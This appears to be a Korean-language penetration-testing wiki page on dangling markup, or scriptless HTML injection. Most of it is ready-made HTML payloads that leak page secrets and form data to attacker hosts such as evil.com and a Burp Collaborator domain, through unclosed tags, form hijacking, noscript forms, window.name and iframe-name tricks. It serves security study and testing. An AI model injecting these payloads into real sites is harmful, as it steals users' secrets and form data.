228 lines
12 KiB
Markdown

# Dangling Markup - HTML scriptless injection
{{#include ../../banners/hacktricks-training.md}}
## Resume
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못했을 때**](../xss-cross-site-scripting/index.html) 유용하며, **HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/index.html)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...).
## Main Applications
### Stealing clear text secrets
페이지가 로드될 때 `<img src='http://evil.com/log.cgi?`를 주입하면 피해자는 주입된 `img` 태그와 코드 내의 다음 인용부호 사이의 모든 코드를 전송합니다. 만약 그 조각에 비밀이 포함되어 있다면, 당신은 그것을 훔칠 수 있습니다(더블 인용부호를 사용하여 같은 작업을 수행할 수 있으며, 어떤 것이 더 흥미로울지 살펴보세요).
`img` 태그가 금지된 경우(CSP 때문일 수 있음) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`를 사용할 수도 있습니다.
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
**Chrome는 "<" 또는 "\n"이 포함된 HTTP URL을 차단합니다**, 따라서 "ftp"와 같은 다른 프로토콜 스킴을 시도할 수 있습니다.
CSS `@import`를 악용할 수도 있습니다(모든 코드를 전송하며 ";"를 찾을 때까지 계속합니다).
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
당신은 또한 **`<table`**을 사용할 수 있습니다:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
당신은 또한 `<base` 태그를 삽입할 수 있습니다. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### 양식 훔치기
```html
<base href="http://evil.com/" />
```
그런 다음, 데이터를 경로로 보내는 폼(`<form action='update_profile.php'>`)은 악성 도메인으로 데이터를 보냅니다.
### 폼 훔치기 2
폼 헤더를 설정합니다: `<form action='http://evil.com/log_steal'>` 이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다.
### 폼 훔치기 3
버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다:
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
```
공격자는 이를 사용하여 정보를 훔칠 수 있습니다.
[**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### 평문 비밀 훔치기 2
가장 최근에 언급된 기술을 사용하여 양식을 훔치는 것(새 양식 헤더 주입)을 통해 새로운 입력 필드를 주입할 수 있습니다:
```html
<input type='hidden' name='review_body' value="
```
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
폼과 `<option>` 태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Form parameter injection
폼의 경로를 변경하고 새로운 값을 삽입하여 예상치 못한 작업이 수행되도록 할 수 있습니다:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### Stealing clear text secrets via noscript
`<noscript></noscript>`는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 [chrome://settings/content/javascript](chrome://settings/content/javascript)에서 활성화/비활성화할 수 있습니다).
공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassing CSP with user interaction
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
**희생자**에게 **링크를 클릭**하도록 요청하여 **당신이 제어하는** **payload**로 **리디렉션**되게 하십시오. 또한 **`base`** 태그 내의 **`target`** 속성은 다음 단일 인용부호까지 **HTML 콘텐츠**를 포함할 것임을 주의하십시오.\
이로 인해 링크가 클릭되면 **`window.name`**의 **값**은 모든 **HTML 콘텐츠**가 될 것입니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 **제어**하므로 해당 **`window.name`**에 접근하고 그 데이터를 **유출**할 수 있습니다:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### 오해의 소지가 있는 스크립트 워크플로우 1 - HTML 네임스페이스 공격
HTML 내부에 새로운 태그와 ID를 삽입하여 다음 태그를 덮어쓰고 스크립트의 흐름에 영향을 미칠 값을 설정합니다. 이 예제에서는 정보가 공유될 대상을 선택하고 있습니다:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### 오해의 소지가 있는 스크립트 워크플로우 2 - 스크립트 네임스페이스 공격
HTML 태그를 삽입하여 자바스크립트 네임스페이스 내에 변수를 생성합니다. 그런 다음 이 변수는 애플리케이션의 흐름에 영향을 미칩니다:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Abuse of JSONP
JSONP 인터페이스를 찾으면 임의의 데이터로 임의의 함수를 호출할 수 있습니다:
```html
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
```
또는 일부 자바스크립트를 실행해 볼 수도 있습니다:
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframe 남용
자식 문서는 교차 출처 상황에서도 부모의 `location` 속성을 보고 수정할 수 있는 능력을 가지고 있습니다. 이는 **iframe** 내에 스크립트를 삽입하여 클라이언트를 임의의 페이지로 리디렉션할 수 있게 합니다:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
이것은 `sandbox=' allow-scripts allow-top-navigation'`와 같은 방법으로 완화할 수 있습니다.
iframe은 또한 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
더 많은 정보는 [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)를 확인하세요.
### \<meta 남용
**`meta http-equiv`**를 사용하여 쿠키 설정과 같은 **여러 작업**을 수행할 수 있습니다: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 또는 리디렉션을 수행할 수 있습니다(이 경우 5초 후): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
이는 **http-equiv**에 대한 **CSP**로 **회피**할 수 있습니다 ( `Content-Security-Policy: default-src 'self';`, 또는 `Content-Security-Policy: http-equiv 'self';`)
### 새로운 \<portal HTML 태그
\<portal 태그의 취약점에 대한 매우 **흥미로운 연구**를 [여기](https://research.securitum.com/security-analysis-of-portal-element/)에서 찾을 수 있습니다.\
이 글을 작성하는 시점에서 Chrome에서 `chrome://flags/#enable-portals`에서 portal 태그를 활성화해야 작동합니다.
```html
<portal src='https://attacker-server?
```
### HTML Leaks
HTML에서 연결성을 유출하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
이것은 **dangling markup와 XS-Leaks**의 **혼합**입니다. 한편으로는 취약점이 **HTML**(하지만 JS는 아님)을 **공격할 페이지와 동일한 출처**의 페이지에 **주입**할 수 있게 합니다. 다른 한편으로는 HTML을 주입할 수 있는 페이지를 **직접 공격**하지 않고, **다른 페이지**를 공격합니다.
{{#ref}}
ss-leaks.md
{{#endref}}
## XS-Search/XS-Leaks
XS-Search는 **사이드 채널 공격**을 악용하여 **교차 출처 정보**를 **유출**하는 데 중점을 둡니다. 따라서, 이는 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부에 관계없이), 예를 들어 [**CSS Injection**](../xs-search/index.html#css-injection) 또는 [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
{{#ref}}
../xs-search/
{{#endref}}
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## References
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
{{#include ../../banners/hacktricks-training.md}}